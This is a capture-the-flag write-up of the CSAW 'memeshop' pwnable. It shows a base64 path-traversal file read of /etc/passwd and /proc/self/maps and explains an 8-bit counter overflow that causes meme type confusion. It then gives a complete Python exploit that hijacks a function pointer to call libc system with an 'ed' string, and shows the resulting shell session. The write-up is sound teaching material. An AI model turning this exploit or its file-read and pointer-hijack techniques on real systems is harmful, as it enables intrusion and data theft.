‘memeshop’ was a pwnable worth 400 points in the latest CSAW CTF.

Gathering Information

We are only given an ip/port to connect to, no binary was provided. After connecting we see a menu like this:

so... lets see what is on the menu
[p]rint receipt from confirmation number
[n]ic cage (RARE MEME)
[d]erp
d[o]ge (OLD MEME, ON SALE)
[f]ry (SHUT UP AND LET ME TAKE YOUR MONEY)
n[y]an cat
[l]ike a sir
[m]r skeletal (doot doot)
[t]humbs up
t[r]ollface.jpg
[c]heck out
[q]uit

Most options will simply output a meme, but there is some interesting ones though. With p we can print a receipt and it will ask for an order number:

ok, let me know your order number bro: 
> 123
sry br0, i have no records of that

We can get the order number if we use the check out option, which will output it base64 encoded:

ur receipt is at L3RtcC9tZW1lMjAxNTA5MjItNjAyNy01ZXVoN3I=
---
b64decode: /tmp/meme20150922-6027-5euh7r

As we can see the base64 decoded string is simply a path to a temporary file. With these information one can assume that the print receipt option will probably open the file and read the content. And that is exactly what it does. If we provide /etc/passwd base64 encoded to print receipt, we will get the output:

ok, let me know your order number bro: L2V0Yy9wYXNzd2Q= 
ok heres ur receipt or w/e
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]

Dumping Files

Ok so we can dump arbitrary files with this primitive. Next step would be to dump the binary so we can reverse engineer it and find a way to actually exploit it. To dump the binary we can simply read from /proc/self/exe. Doing so, we will receive a binary, but in fact it is the ruby interpreter. To find the actual ruby script that is running we can first check /proc/self/cmdline which will return rubymemeshop.rb. Afterwards it’s a matter of consulting /etc/passwd and /home/ctf/.bash_history to find where the script is located (you might also just use /proc/self/cwd):

[..]
require_relative './plugin/mememachine.so'

include MemeMachine

[...]

def skeletal
        @meme_count = @meme_count + 1
        puts IO.read "./memes/skeleton.meme"
        puts "so... what do you say to mr skeletal?"
        str = gets
        puts addskeletal Base64.decode64 str
end

[..,]
def domeme name
        @meme_count = @meme_count + 1
        meme = IO.read name
        puts meme
        addmeme
end 

[...]

quit= false
while not quit
        print_menu
        val = gets.chomp
        case val[0]
        when 'q'
                quit = true
                next
        when 'p'
                print_receipt
                next
        when 'o'
                domeme "./memes/doge.meme"
                next

        [...]

        when 'm'
                skeletal
                next

        [...]

I have removed the unimportant parts of the script, but you can find the complete script here.

Ok the script itself does not provide anything interesting for exploitation. However, we notice that an extension called mememachine.so is loaded and the skeletal meme is obviosly calling an addskeletal method which must be located inside the extension. Furthermore each meme is calling the addmeme method. Next step was dumping the extension and reversing it.

Reversing the extension

threemethods

We notice above three methods in IDA: method_addmeme, method_addskeletal and method_checkout. Let’s checkout how a meme is added:

addmeme

First we notice types_ptr and memerz_ptr. Upon further inspection, we find out that pointers to the memes are kept in a 256 elements array to which memerz_ptr is pointing to, and that there is another array of same size keeping track of the type of the meme. This array is pointed to by types_ptr. Furthermore, types_tracker_ptr and counter_ptr are pointers to counters, which tell us how many elements we have in those two arrays respectively. As you can see in the disassembly, this method basically allocates memory for a new meme and adds the memory pointer to the array, sets its type to 0 and then increments both counters. And it writes a function address (gooder_ptr) to the meme structure at offset 8! This will be important soon.

If there is a type 0 meme, there must also be a type 1 meme, which is added by the method_addskeletal method:

skeletal

Ok this is a bit different. Here we provide the method a string argument (not on screenshot; you are prompted to provide this when you are trying to add a skelet). Of this string argument the first 128 characters are copied over to the new meme. Then the method continues similar the method_addmeme method. It writes the pointer to the new meme’s memory into the memes array (pointed to by memerz_ptr) and sets its type to 1 this time. Then it also adds a function pointer, but this time at offset 264. (to which function this points depends on whether you provided thanks mr skeletal as argument to the method, but it is irrelevant to the exploitation).

checkout

And the final function method_checkout will then iterate over all memes and call the function pointers in each meme. Depending on whether it is a type 0 or type 1 meme, it will call different offsets in the meme structure (either offset 8 or offset 264). Even though we have not found the bug yet, it is rather obvious that we will have to get the service to confuse two memes, so that we actually control the function address being called: We control the first 128 bytes of the type 1 meme, and the type 0 meme has its function pointer at offset 8.

The bug is quite subtle, but if you look closely, you will notice the following:

bug1

and

bug2

Do you see the bug? The meme-counter is defined as byte, while the types_tracker is defined as int. Why is this a problem? Well, let’s assume we are very motivated and add 256 memes. The counter for the types will be fine and will be set to 256, but the counter for the memes can not hold 256 as value as it is only 8 bits large! Hence it overflows and the value will be 0! With the 257th meme we will actually be overwriting the first meme again! But this time, the type will not be set for the first meme, but will be set actually for the 257th:

Before adding the 256th meme:

                              meme_ctr
                                  | 
                                  v
       ---------------         -------
memes  | 0 |  1  | 2 |  .....  | 255 |  
       ---------------         -------

                             types_tracker
                                  |
                                  v
       ---------------         -------
types  | 0 |  1  | 2 |  .....  | 255 |  
       ---------------         -------


After adding one more meme:

     meme_ctr
         | 
         v
       ---------------         -------
memes  | 0 |  1  | 2 |  .....  | 255 |  
       ---------------         -------

                                     types_tracker
                                         |
                                         v
       ---------------         -------
types  | 0 |  1  | 2 |  .....  | 255 |  
       ---------------         -------

Exploitation

The strategy now: First add a meme type 0. Then fill up 255 more memes to trigger the overflow in the counters. Finally add a type 1 meme with a custom function pointer at offset 8 (remember we control the first 128 bytes!) and then call checkout. The service will think the first meme is a type 0 meme and will call our custom function :)

Easy peasy, we just need to jump to system in libc now. For this we have to leak the libc base address. No problem, we have the file read primitive from the beginning and can just read /proc/self/maps which will give us the mapped memory for the current process:

00400000-00401000 r-xp 00000000 ca:01 273936              /home/ctf/.rvm/rubies/ruby-2.2.1/bin/ruby
00600000-00601000 r--p 00000000 ca:01 273936              /home/ctf/.rvm/rubies/ruby-2.2.1/bin/ruby
00601000-00602000 rw-p 00001000 ca:01 273936              /home/ctf/.rvm/rubies/ruby-2.2.1/bin/ruby
00b4e000-011fa000 rw-p 00000000 00:00 0                   [heap]
[...]
7f361e2c7000-7f361e482000 r-xp 00000000 ca:01 396040      /lib/x86_64-linux-gnu/libc-2.19.so
7f361e482000-7f361e681000 ---p 001bb000 ca:01 396040      /lib/x86_64-linux-gnu/libc-2.19.so
7f361e681000-7f361e685000 r--p 001ba000 ca:01 396040      /lib/x86_64-linux-gnu/libc-2.19.so
7f361e685000-7f361e687000 rw-p 001be000 ca:01 396040      /lib/x86_64-linux-gnu/libc-2.19.so

Extract the base address, add the system offset (if we don’t know which libc is used, we can also just dump the libc using the file read primitive again) and we are good to go, right? Not quite, we still need our /bin/sh argument for system. Lucky enough for us, the method_checkout loads an argument from offset 16:

argument

Unlucky for us though, it does not load it into rdi but into edi, meaning the high 4 bytes will be set to 0. The 4 MSB of libc addresses are not 0 though! We can not use the /bin/sh string from the libc. What can we do? Well we need to find a /bin/sh string in memory that has 0’s on the 4 MSB. Candidates are only the ruby binary and the heap as you can see above. We do control strings on the heap, so we can just spray the heap and hope to guess the correct offsets. But there is a more elegant solution. We don’t actually need a /bin/sh string. We can spawn a shell with simply a 'ed\0' or 'ed ' string. This opens a vim-like text editor and you can then execute commands via !cat /etc/passwd. And it is really easy to find an ed string in any binary. You can take any that you like from the ruby binary :)

The final exploit:

#!/usr/bin/env python

import sys
import socket
import struct
import telnetlib
import time
import re
import string
import base64
import random


#s = socket.create_connection(("127.0.0.1", 13337))
s = socket.create_connection(("54.164.173.236", 1337))


def interact():
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def ra(to=.5):
    buf = ""
    s.setblocking(0)
    begin = time.time()
    while 1:
        if buf is not "" and time.time() - begin > to:
            break
        elif time.time() - begin > to*2:
            break
        try:
            data = s.recv(4096)
            if data:
                begin = time.time()
                buf += data
            else:
                time.sleep(.1)
        except:
            pass

    s.setblocking(1)
    return buf


def rt(delim):
    buf = ""
    while delim not in buf:
        buf += s.recv(1)
    return buf

def se(data):
    s.sendall(data)

def u64(d):
    return struct.unpack("<Q",d)[0]

def p64(d):
    return struct.pack("<Q", d)

def download(loc):
    se("p\n")
    rt("bro: ")
    se(base64.b64encode(loc) + "\n")
    ans = rt("[p]")[:-3].replace("ok heres ur receipt or w/e\n", "")
    return ans

def skeletal(what):
    se("m\n")
    se(base64.b64encode(what) + "\n")       # need to base64 encode, see ruby script

def pwn():
    # first download the memory mappings
    d = download("/proc/self/maps")

    libc_base = 0
    heap_base = 0
    ruby = 0

    # now extract the mappings
    for l in d.split("\n"):
        ll = l.split()
        if len(ll) != 6:
            continue
        if "[heap]" in ll[5]:
            heap_base = int(ll[0].split("-")[0], 16) # me no like regex :>
        elif "libc-2.19.so" in ll[5] and ll[1] == "r-xp":
            libc_base = int(ll[0].split("-")[0], 16)
        elif "mememachine.so" in ll[5] and ll[1] == "r-xp":
            meme_machine  = int(ll[0].split("-")[0], 16)
        elif "ruby" in ll[5] and ll[1] == "r-xp" and ruby == 0:
            ruby = int(ll[0].split("-")[0], 16)

    # calculate the offset of system
    libc_system= libc_base + 0x46640

    # calculate the address of our awesome "ed" string
    ed = ruby +  0x633

    # create one type 0 meme
    se("l\n")

    # then create 255 more memes
    # (doesn't have to be skeletal type)
    for i in range(255):
        skeletal("1337")

    # then our payload with the system addr @ offset 8 and 
    # the ed string ptr @ offset 16
    skeletal("A"*8 + p64(libc_system) + p64(ed))
    ra(to=2)

    # checkout and pwn!
    se("c\n")
    print "go >"
    interact()

pwn()

I have added some comments which should explain the exploit. The exploit is really not complicated, the hard part was spotting the integer overflow in my opinion. Finally here is the exploit in action:

python exploit.py
go >
!id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
!cat /*/*/flag
flag{dwn: please tell us your meme. I'm not going to stop asking}

Remember you need to preceed your shell commands with an exclamation mark since you are in an ed session!

The final exploit can be found here the extension here and the ruby script here.

PS: I was told there is also a cool ruby method which basically opens a shell and to which you can directly jump to instead of system. I was not aware of that, but that would make the exploit even simpler. But the “ed” trick is a good one to know anyway :)